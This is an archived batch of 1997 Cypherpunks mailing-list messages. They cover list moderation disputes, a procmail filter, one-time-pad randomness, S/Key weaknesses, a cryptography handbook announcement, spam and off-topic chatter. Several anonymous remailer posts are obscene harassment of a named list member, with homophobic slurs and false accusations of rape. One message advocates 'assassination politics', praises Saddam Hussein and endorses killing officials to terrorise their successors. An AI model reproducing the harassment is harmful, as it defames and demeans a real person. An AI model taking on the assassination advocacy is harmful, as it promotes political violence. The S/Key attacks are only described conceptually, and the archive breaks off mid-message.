From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 27 Jan 1997 16:28:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: [IMPORTANT] New keyserver available
Message-ID: <199701280027.QAA07921@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Deviant Vulis K>ocksucker< Of The Minute studied yoga back-
stretching exercises for five years so he could blow himself
(nobody else will).

    _.._        _.._
  ,','"_:./\/\,'_ `.`.
 /_:--:_ ( oo ) _:--:_\ Dr.Deviant Vulis K>ocksucker< Of The Minute
/'      `'`vv'`'      `\






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Mon, 27 Jan 1997 13:36:31 -0800 (PST)
To: cypherpunks <lwp@mail.msen.com>
Subject: Re: Moderated list is missing headers
In-Reply-To: <199701271746.JAA29041@toad.com>
Message-ID: <Pine.LNX.3.95.970127163350.1186B-100000@eclipse.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 27 Jan 1997, Lou Poppler wrote:

> The arguments about imaginary quotes and libel are harder to untangle
> because the moderation process seems to consume the mail headers showing
> the messages' travels before reaching toad.com.  I suggest that these
> headers are signal not noise, and should be propagated if at all possible.
> We have had problems in the past with forgeries, and should retain this
> basic tool for evaluating a message's source.

I agree, except I rely on this to sort the moderated and unmoderated lists into
separate folders.  I'm sure the bugs are still being worked out, but it would
be much easier to filter if the sender header was set appropriately.  Here's
the procmail recipe in case anyone's interested:

:0
* ^Sender: owner-cypherpunks@toad.com
{
	:0
	* -1^1 ^Received:
	* 4^1  ^Received:.*from majordom@localhost.*by toad.com
	* ^Message-Id:.*toad.com
	in.cpunks

	:0
	unedited
}

The number 4 should be changed depending on how many hops a message must make
to reach its destination.


Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMu0gyyzIPc7jvyFpAQGCrAgAlIT6oSZ18sVGuMQWeszAWPE67BwMRx/1
2CLsrtpCaKfj5j+C5DsT2dpv4IhlOFOftrtCPL8KOEot5YRg3mUeUl7efwfnioeB
UmM3h7Zx8W5RFZlTlhMim58G5o88jYVE3Rsov+f8nYM9hoXPDyjgoZmnG4BUn8Ca
saL3ul2zO39bB4YwRmBKCeXRBzefmaowJbdC7Hl+S+uU61+Dbtbk/Fq2o5B9Gsvq
wjg3QF4u+oyDCfcxdmLajL9tE6K7L2bgEkvi9kxt7AUP5e/l53epXK9cFplYF0B6
qgPd0shYmWiTSbhjQ4tw6jZkxuyxWqFX/nAHGp7Tciqp/rIkwX/tNQ==
=riw1
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Mon, 27 Jan 1997 15:44:32 -0800 (PST)
To: Rick Osborne <osborne@gateway.grumman.com>
Subject: Re: OTP security
Message-ID: <854404295.619789.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> I was thinking about the thread we had a week or so ago about OTPs.  Say
> I'm going to burn a CD of what I think are cryptographically random bits,
> but somehow I end up with part of my stream being predictable (say every
> 16th bit).  What does this do to the security of my CD?

Depends on how that 16th bit is related to the other bits and whether 
these predictable bits give any information about the other bits on 
the disk.

If we assume all the other bits are true random and that the 16th 
bits are predictable only in that they can be predicted left and 
right but do not depend upon the other bits not in positions 16, 32, 
48, 16n etc... we can just discard them and use the rest obtaining 
perfect security. We can even use all the bits and all we lose is one 
bit every two bytes and therefore if we are calling the bytes ASCII 
and say adding mod 13 we only have "imperfect" security on every 2nd 
character where there are 2^7 eg. 128 possible characters. 
Suprisingly this yields perfect security as there are still a number of
possible pads which lead to reasonable and plausible decryptions.



  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Mon, 27 Jan 1997 16:10:57 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <854404298.619818.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



 
> I distinctly recall how Paul used to call for censoring me. If he's
> changed his mind and really doesn't think that anyone should be censored,
> it's a welcome development - even if it was brought on by the sandfart
> censoring Paul.

That is strange indeed as I distinctly recall saying, in as many 
words, I was "Happy you had stopped posting", as at that time nearly 
everything you posted was dreck as far as I was concerned. I also 
recall calling John Gilmore a Fascist censor and several other such 
things over the incident when you were forcibly unsubscribed from the 
list. I never advocated censorship, I was merely relieved you had 
stopped posting so much dreck to the list. Anyway, I don`t want a 
flame war over it so we`ll just agree to differ over this.
 
> > > I used to respect Gilmore until this series of incidents (unsubscribing
> > > me, turning list moderated).  Now I only have disdain for him.
> >
> > I agree entirely, Gilmore was a respected man (despite the EFF being
> > a corporate whore) who threw any respect and admiration others had
> > for him away.
> 
> I wonder what he thinks he got in exchange...

A nice clean list where he and his bunch of "chums" can post whatever 
slanderous flames they want but the victims are not allowed to 
respond.

> > > Quite a few people have expressed interest in re-creating an unmoderated
> > > cypherpunks list at another site if Gilmore decided to stick to his
> > > "moderation experiment".
> >
> > I notice and appreciate the quotes around "moderation experiment",
> > this is, without doubt, a permenant measure to silence members of the
> > list who dare to offer criticism of anyone an element of {x: x a
> > friend or co-censor of John Gilmore}
> 
> Yes - clearly the personality of the submitter is the most important
> factor in moderator's rejections, not even the content.

Indeed, content based censorship is of an order way above (if any 
censorship is better than any other) censorship based on subjective 
criterion such as personality. At least with content based censorship 
the censored version of the list would be readable because all the 
flaming and spam would have been cut, as it is all it offers is a 
good statistical picture of who is in favour with the list fuhrer and 
his pawns.
 
> > I do not have the resources to run such an unmoderated list but I
> > hope someone on this list does and is good enough to start such a
> > list, cypherpunks is a shell of what it once was.
> 
> I notice that the sandfart has been challenging his enemies to create
> an alternative mailing list. I wonder what their contingency plan is.
> Without a doubt, such a competing list would be mailbombed and flooded
> with garbage by Gilmore and his entourage. What else?

Presumably a number of mailing list chains would be set up to bounce 
the "flamers", that is people not members of the cypherpunks "in 
crowd" submissions to the new lists.

> > Also, please note this message will be junked onto cypherpunks-flames
> > even though it contains no flames or flame bait because it dares to
> > criticise the censorship of the list (once again Sandy, I give you an
> > opportunity to prove me wrong).
> 
> The sandfart has proven me right already. As I said, I think we're
> paying too much attention to him and his censorship, and he's just
> a front for Gilmore anyway.

Hmm, anyway, once again if anyone on this list has the resources to 
set up a new uncensored list I ask them to do so as soon as possible, 
this list is hardly worth the time it takes to read it now. Anyone 
who had anything worthwhile to say is so disgusted with the 
censorship they are either tied up in a thread like this criticising  
it or have chosen not to post at all. 

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 27 Jan 1997 15:00:15 -0800 (PST)
To: sandfort@crl.com (Sandy Sandfort)
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <Pine.SUN.3.91.970127134838.16386C-100000@crl.crl.com>
Message-ID: <199701272255.QAA06318@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Sandy Sandfort wrote:
> > (By the way, if you don't like moderation, you would hate Eric Hughes'
> > favored solution.)
> > What was that?
> 
> Eric, would like to require a deposit ($20 was the example he
> gave) from subscriber/posters.  Non-subscribers would not be 
> allowed to post.  Subscribers who voluntarily left the list, 
> would get their deposit back.  Subscribers who flamed twice 
> (every dog gets one bite) would be kicked off the list and their 
> deposit would be forfeited (or perhaps turned over to the flame 
> victim).

Obviously, you will not be able to effectively collect from non-posters,
since anyone would be able to resell subscriptions. 

Also, anyone can create a usenet newsgroups like alt.cypherpunks,
or cypherpunks.general, which would be free.

Lots of competing cypherpunks mailing lists would spring up.

You would make some money out of it (like maybe $700 or so), but would
waste so much time that it would not be worth the trouble.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 27 Jan 1997 16:57:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: [STEGO] PGP 3
Message-ID: <199701280056.QAA16088@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dildo L[oser] Vegetable K[ankersore]OfTheMinute has been
fired for anally raping officemates.

          \
         o/\_ Dr.Dildo L[oser] Vegetable K[ankersore]OfTheMinute
        <\__,\
         '\,  |






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 27 Jan 1997 16:57:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: [ANNOUNCE] overview.htm
Message-ID: <199701280057.QAA16330@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dogfucker L[amer] Vinegar K[rud]OfTheMonth died of AIDS last
night with his queer lover.

            ///
           (0 0)
    ____ooO_(_)_Ooo__ Dogfucker L[amer] Vinegar K[rud]OfTheMonth






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 27 Jan 1997 16:58:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: X.500
Message-ID: <199701280058.QAA16548@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vicious K[reep]OfTheMonth's wee-wee is so tiny that
only his mommy is allowed to touch it.

 v-v-v-@@-v-v-v
      (..)     Dr.Dimitri Vicious K[reep]OfTheMonth






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 27 Jan 1997 16:59:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cellular location
Message-ID: <199701280058.QAA16809@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dead Vasectomy KOTM has been fired for stealing blow jobs.

(~\/~) /~'\ /`~\   _    _
`\  /'(    `    ) ( `\/' )
  `'   `\     /'  `\    /' Dead Vasectomy KOTM
         `\ /'      `\/'
           '






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 27 Jan 1997 15:11:04 -0800 (PST)
To: erp@digiforest.com (Erp)
Subject: Re: Best Computer School?
In-Reply-To: <Pine.LNX.3.95.970127154632.7501A-100000@digital.digiforest.com>
Message-ID: <199701272307.RAA06428@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


moscow state university in russia is not bad also.

they teach lots of theory... which is good.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mullen, Patrick" <MullenP@ndhm06.ndhm.gtegsc.com>
Date: Mon, 27 Jan 1997 14:12:37 -0800 (PST)
To: "'Cypherpunks'" <coderpunks@toad.com>
Subject: Handbook of Applied Cryptography
Message-ID: <c=US%a=_%p=GTE%l=NDHM06-970127221028Z-78814@ndhm06.ndhm.gtegsc.com>
MIME-Version: 1.0
Content-Type: text/plain


(My apologies if someone else has posted this information and I missed
it.)

_Handbook_of_Applied_Cryptography_, Menezes, Oorschot, Vanstone, 
	CRC Press, Boca Raton, 1997

With a foreword by R.L. Rivest

Contents in Brief:
Table of Contents	v
List of Tables		xv
List of Figures		xix
Foreword		xxi
Preface			xxiii

1 Overview of Cryptography	1
2 Mathematical Background	49
3 Number-Theoretic Reverence
	Problems		87
4 Pulic-Key Parameters		133
5 Pseudorandom Bits and
	Sequences		169
6 Stream Ciphers		191
7 Block Ciphers			223
8 Public-Key Encryption		283
9 Hash Functions and Data
	Integrity			321
10 Identification and Entity
	Authentication		385
11 Digital Signatures		425
12 Key Establishment 
	Protocols		489
13 Key Management Techniques	543
14 Efficient Implementation	591
15 Patents and Standards	635
A Bibliography of Papers from
	Selected Cryptographic
	Forums			663

References			703
Index				775

>From the back cover:

<< BEGIN QUOTE >>
Cryptography, in particular public-key cryptography, has emerged in the
las 20 years as an important discipline that is not only the subject of
an
enormous amount of research, but provides the foundation for information
security in many applications.  Standards are emerging to meet the
demands
for cryptographic protection in most areas of data communications.
Public-
key cryptographic techniques are now in widespread use in industry, 
especially in the financial services industry, in the public sector, and
by
individuals for their personal privacy, such as in electronic mail.
This 
Handbook will serve as a valuable reference for the novice as well as
for
the expert who needs a wider scope of coverage within the aread of
cryptography.  It is a necessary and timely guide for professionals who
practice the art of cryptography.

The _Handbook_of_Applied_Cryptography_ provides a treatment that 
is multifunctional:

* It serves as an introduction to the more practical aspects of
  both conventional and public-key cryptography

* It is a valuable source of the latest techniques and algorithms
  for the serious practitioner

* It provides an integrated treatment of the field, whil still
  presenting each major topic as a self-contained unit

* It provides a mathematical treatment to accompany 
  practical discussions

* It contains enough abstractoin to be a valuable reference for
  theoreticians while containing enough detail to actually allow
  implementation of the algorithms discussed

This is the definitive cryptography reference that novice as well as
experienced
developers, designers, researchers, engineers, computer scientists, and
mathematicials alike will find indispensable.
<< END QUOTE >>

~ Patrick





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ciro Maria <cmaria@stevens-tech.edu>
Date: Mon, 27 Jan 1997 14:31:20 -0800 (PST)
Subject: No Subject
Message-ID: <199701272230.RAA27944@attila.stevens-tech.edu>
MIME-Version: 1.0
Content-Type: text/plain


remove





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ciro Maria <cmaria@stevens-tech.edu>
Date: Mon, 27 Jan 1997 14:33:10 -0800 (PST)
Subject: No Subject
Message-ID: <199701272230.RAA28048@attila.stevens-tech.edu>
MIME-Version: 1.0
Content-Type: text/plain


remove




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bigboy@gte.net (Ernie Steefan)
Date: Mon, 27 Jan 1997 16:18:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: [[[ Worldwide  Computer Based Business   !   ]]]
Message-ID: <Ready Aim Fire!_1/27/97 7:20:05 PM_bigboy@gte.net>
MIME-Version: 1.0
Content-Type: text/plain



If you have a PC and want to achieve real Financial Independence then you MUST
take a look at our Powerful Computer Based Business.
No matter who you are or where you live, Our Business is Universal.
We distribute software and information all over the world through E-Mail and the
Internet.
Our program called PC-SUPER-MLM is the most simple and powerful MONEY MAKING software in the world!. of course, you don't have to believe me until you see
the actual program.
Reply to this message and i will send you a FRE copy of the PC-SUPER-MLM
software via E-Mail as an attachement.

Have a great day !.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: peter.allan@aeat.co.uk (Peter M Allan)
Date: Mon, 27 Jan 1997 10:19:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: S/KEY (was: 2 Questions)
Message-ID: <9701271820.AA17135@clare.risley.aeat.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



Steven M Orrin <privsoft@ix.netcom.com> wrote:
> Hey guys,
> 2 quick questions:

> Are there any known hacks or weaknesses in S/Key?


S/Key has a rather limited scope, in aiming to prevent replay attacks.
These are where somebody snoops on your network to obtain passwords,
an uses them in later login attempts.  This is undoubtedly a major
weakness in most current networks.  S/Key addresses this replay of data
obtained in passive eavesdropping, but that is all it does.

Several attacks against S/Key have been discussed [1], including:

   race attacks:  eavesdropping most of the hash, and racing the user
                  to provide the rest of it

   active attacks:  impersonating the server to learn future hashes
                    or simply hijacking an established session.

Strengthening S/Key really means expanding the scope to get an
authenticated and encrypted 2-way connection.  [John Gilmore's S/WAN may
end up achieving this.  I'm not familiar with it (yet?).]

Ideas for improving S/Key that involve secret data stored on the server
tend to get frowned on, as the original aim was to avoid that.  In any case
you cannot get the full encrypted 2-way connection without getting a whole
lot more complicated.

Recent discussions [2] have centred on ways to rekey the list of hashes remotely when
the count runs down.  These changes, and S/Key itself, are better than nothing
but where's the ham sandwich ? [3]

Beside the protocol weakness there is potential for finding collisions in the hash
function (MD4 originally).  A choice of hash functions can be provided. See RFC-1938.
  

1) See also SecureID, which is more complicated and still subject
   to similar attacks.

2) Not here.

3) Old joke.  A ham sandwich is better than nothing, and nothing is better than
   a life of complete happiness, so ......




 -- Peter Allan    peter.allan@aeat.co.uk






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Thy Tang <thytang@computer-services.com>
Date: Mon, 27 Jan 1997 16:18:54 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: No Subject
Message-ID: <01BC0C7F.7EABCEE0@pm5_03.computer-services.com>
MIME-Version: 1.0
Content-Type: text/plain


unsubcrise





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 27 Jan 1997 18:34:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: The Bell Curve
Message-ID: <199701280233.SAA12120@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain



     .-.     .-.     .-.     .-.     .-.     .-.     .-.
  --/---\---/---\---/---\---/---\---/---\---/---\---/---\---/-
         `-'     `-'     `-'     `-'     `-'     `-'     `-'




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Mon, 27 Jan 1997 16:09:54 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: overview.htm (fwd)
In-Reply-To: <32EC6BAF.2674@gte.net>
Message-ID: <Pine.SOL.3.93.970127190233.15519A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Mon, 27 Jan 1997, Dale Thorn wrote:

> Nurdane Oksas wrote:
> > On Sun, 26 Jan 1997, Dale Thorn wrote:
> > > Nurdane Oksas wrote:
> > > > On Sun, 26 Jan 1997, Igor Chudov @ home wrote:
> > > > > Nurdane Oksas wrote:
> > > > > >     i think it's good also to exercise outdoors as well as your
> > > > > >     indoor nordictrack machines..sun and air is esp. necessary;
> 
> > > > > but remember, tanning will kill ya.
> 
> > > >         Yes it will; Not a fan of tanning myself...it also causes lots
> > > >         of skin problems, have seen women age too soon tanning;
> > > >         we don't go outside naked here in NorthEast...do remember;
> 
> > > The real babes in So. Cal. go to tanning salons. That way the evenly-
> > > distributed tan looks best with, say, a pure white bikini.  You can
> > > go to the beach, of course, and hang out with the hoi polloi, but
> > > it's mostly kids with pimples and stuff.
> 
> >         i don't see why she would wear a bikini if she already is tan.
> >         She just goes to show off right???  California is know for
> >         very beautiful girls ...     I like the pale look :)
> 
> There are two really major beaches in the L.A. area that I know of.
> One is Bolsa Chica, several miles long, north of Huntington Beach,
> which attracts most of the young'uns south of L.A., and Zuma in the
> northmost points of Malibu, which gets a lot of Valley people
> (fer sure).  To quote the L.A. Weekly of a few years ago, in a
> "Best of L.A." review, "Why do all those hot young girls go to Zuma?
> Because that's where all the hot young boys are."

	I see.

> But the real babes don't go there.  They get skates and nifty little
> costumes and zip up and down the boardwalks in Santa Monica and
> Pacific Palisades mostly, in case some hot producer/director should
> happen along.

	I see.  
	





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Mon, 27 Jan 1997 16:13:37 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: overview.htm (fwd)
In-Reply-To: <32EC6D24.2FD4@gte.net>
Message-ID: <Pine.SOL.3.93.970127191020.15519B-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Mon, 27 Jan 1997, Dale Thorn wrote:

> Nurdane Oksas wrote:
> > On Sun, 26 Jan 1997, Igor Chudov @ home wrote:
> > > Nurdane Oksas wrote:
> > > > California is know for very beautiful girls ...
> 
> > > wrong.
> 
> > well, seems D. Thorn agrees with the song: 'california girls'
> 
> Depends on where you go, and what time of year. So. Cal. is no doubt
> a revolving door for the girl markets, especially on the beach board-
> walks, or on San Vicente where a lot of joggers run.

	seems, Americans like their own women , which is all they
	have seen maybe...
	
> 
> Anywhere else and it's no different from Cleveland or Pittsburgh.

	Well, can you say you've been 'anywhere else'?

	Regards,	





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Mon, 27 Jan 1997 16:24:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Censorship on Cypherpunks
Message-ID: <199701280024.QAA25228@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Dr.Dirtbag L}eninist{ Vermin K}ock{ Of The Month does NOT eat
pussy. He only eats asshole if it's got a big dick up in front.
Whoever calls him bisexual is a fucking liar. He likes to suck
cocks in front of an audience.

   ,/         \,
  ((__,-"""-,__))
   `--)~   ~(--`
  .-'(       )`-, Dr.Dirtbag L}eninist{ Vermin K}ock{ Of The Month
  `~~`d\   /b`~~`
      |     |
      (6___6)
       `---`






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: privsoft@ix.netcom.com (Steven M Orrin)
Date: Mon, 27 Jan 1997 19:24:21 -0800 (PST)
Subject: Re: S/KEY (was: 2 Questions)
Message-ID: <199701280323.TAA19112@dfw-ix4.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks to Bill and Peter for your help.
Steveo




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 27 Jan 1997 16:39:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Handbook of Applied Cryptography
Message-ID: <1.5.4.32.19970128003428.006b7938@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Here's the publisher's URL for Handbook of Applied Cryptography, 
which amplifies Patrick's summary, and gives ordering info.

     http://www.crcpress.com/PRODS/8523.HTM

Just reading the mouthwatering summaries and the extensive, detailed 
list of topics is a good primer on crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wlkngowl@unix.asb.com (Rob)
Date: Mon, 27 Jan 1997 11:40:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PGPmail for Windows, Version 4.5
Message-ID: <199701272000.PAA11880@unix.asb.com>
MIME-Version: 1.0
Content-Type: text/plain


On 26 Jan 1997 18:59:32 -0500, you wrote:
[..]
>It doesn't seem to work with the mail program in MS IE, or MS WordMail.
>I understand why some people don't like Microsoft, but excluding
>support for popular Microsoft programs seems contrary to their
>stated goal of promoting the use of crypto.

I believe (according to their page) it's in the works to add support for
other programs.

It might also be that the MS CryptoAPI may impose limitations on crypto
plug-ins that require annoying hacks to use conveniently. But maybe not...

I'm surprised the didn't mention Pegasus Mail, which is an amazing "hot"
mailer, with a sort-of built-in crypto plug-in capability... it's also free.

Rob


-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
 and dad you wind up doin' time." | 'send pgp-key' for my public key.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 27 Jan 1997 19:52:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701280351.TAA15925@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:04 PM 1/27/97 -0800, Sandy Sandfort wrote:
...
>Eric, would like to require a deposit ($20 was the example he
>gave) from subscriber/posters.  Non-subscribers would not be 
>allowed to post.  Subscribers who voluntarily left the list, 
>would get their deposit back.  Subscribers who flamed twice 
>(every dog gets one bite) would be kicked off the list and their 
>deposit would be forfeited (or perhaps turned over to the flame 
>victim).

I know that this wasn't your idea, and am not critisizing you.
This idea would be great if everyone had an equal access to funds.  Persons
willing to part with funds could flame people indiscriminately.  Persons
with more money, meaning no bills or very few in relation to capitol, would
be more willing to part with funds.  Suddendly, the rich control the press
again, at least to the extent that they would be able to say anything.  The
rich would be more equal.
The plan could be hacked.  With several accounts, perhaps stolen, forged,
etc. a person submits the $20, flames h[is/er] victim, unsubscribes,
collects h[is/er] deposit, resubscribes under a new name, and repeats the cycle.
Plus, as has been said before, the definition of a flame is subjective.  It
has been shown that children with more symettrical faces get along better
with teachers.  It has been shown that even uncorrupted babies know what
physical beauty is.  If there is any ability to pre-judge a persons
character before reading the post, than the post is more likely to be judged
accordingly.
I hope that you will be fair in your determinations, and I assume that you
will do your best.  But I still worry, only because that you are human.
And humans make mistakes.
At least the current moderation doesn't cost any one twenty bucks.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 27 Jan 1997 17:53:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
In-Reply-To: <199701271426.GAA23803@toad.com>
Message-ID: <NBV81D91w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


blanc <blancw@cnw.com> writes:

> From:	jim bell (in response to Dimitri Vulis')
>
> Look, I've proposed what I consider to be a remarkably consistent method to
> prevent the kind of political tyranny that you criticize, and I don't see
> any recognition of this fact.
> ........................................................
>
> 1) Jim, why do you insist on discussing this on an forum for encryption?

Assassination politics is certainlyhighly crypto-relevant (being an
important application of anonymity and untraceable payments). It's of
interest to a number of participants in the forum. So, why not?

> 2) Why do you suppose the Iraqis haven't already thought of doing this
> themselves?

Perhaps because they love Saddam, who really is a great guy. Stop listening
to what U.S.gubmint and media tell you and use your brain.  What did
Saddam do to _you?

> 3) The Mafia uses this method all the time - why then haven't they achieved
> a more rational society among themselves?

The Mafia in the U.S. doesn't work. The sicilian Mafia is very successful at
assassinating any public officials that fucks with it.

> 4) Weren't governments (like the U.S.) instituted to prevent this sort of
> thing (even if they don't work out as expected)? i.e., there were systems
> of courts and lawyers and such instituted to openly deal with "criminal"
> activity so that a) people could receive assistance against low-life
> degenerate killers, and b) it could be proven that the accused were indeed
> deserving of punishment.

When I was taking political science at Columbia, one of my most memorable
insights came from reading Aeschil's tragedies. Consider this recurrent
thread: why are people rude on highways, and is shooting them justified?
I claim that if a driver felt that the likelihood of him getting a ticket
for cutting people off was high enough, they wouldn't do it. But of course
the cops are busy chasing the drug dealers :-), so the only remaining
deterrent is the likelihood that someone will shoot you for cutting them
off (which happens occasionally).

> Humans being what they are, this hasn't worked like it's supposed to, but
> the point is that there is a reason why such ideas for systems of justice
> were introduced in the first place.   That reason, as I eloquently read in
> a book, was "So That Reason May Live".  That is, so that people who choose
> to live in a "society" may do so by the method of solving problems through
> the application of intelligence, rather than merely knocking each other off
> because a voting majority decides they don't like someone.

Re-read your Hobbes - but don't believe him. The state did not come about
because the people thought they'd be better off under it. The state came
about as one tribe conquered and enslaved another tribe; and gradually
most members of the winning tribe became slaves too.

> Destructive people often ascend to positions of power not simply because
> they are ruthless, but because they have 1) many sycophantic followers and
> 2) many ignorant, vulnerable people unable to prevent it.  You might be
> able to kill off  one Saddam, but potentially many others would be waiting
> in the wings to take his place.   The situation surrounding the existence
> of someone like Saddam is part of the contributing factors which keeps him
> there, not simply that one man himself.  It was the same with Hitler and
> with so many others  -  they don't just have an excess of  "power"
> concentrated within themselves which puts them in positions of control over
> others  - there will have been many people who will have helped put them
> there, expecting to derive benefits from it.

I don't like your Saddam example, having much admiration for the man, but
again this goes back to the perceived likelihood of future assassination.
If Saddam is killed in an unlikely event, he will be succeeded by someone
who does not fear assassination. If all potential successors are convinced
that the rubout can be repeated, they won't go for the job. Remember, the
purpose of "terrorism" is not just to kill someone, but to "terrorize".

> And what will be done about all those people who made this "power"
> possible?  You don't just kill the one man and be done with it - you have
> to also "kill" the conditions which maintained him.

You rub out enough key people and terrorize their potential successors
into not wanting to take over their jobs, and the system collapses.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 27 Jan 1997 19:16:57 -0800 (PST)
To: blanc <cypherpunks@toad.com>
Subject: RE: Internet, Countries, Nationalism, etc.
In-Reply-To: <199701270226.SAA03548@toad.com>
Message-ID: <v03007833af130152f63d@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:39 pm -0500 1/26/97, blanc wrote:
>p.s.   I be femme
        ^^^^^^^^^^

Franconics...

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 27 Jan 1997 18:32:18 -0800 (PST)
To: Lou Poppler <lwp@mail.msen.com>
Subject: Re: Moderated list is missing headers
In-Reply-To: <Pine.BSI.3.92.970127113703.6769A-100000@conch.msen.com>
Message-ID: <32ED7B88.6093@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Lou Poppler wrote:
> 
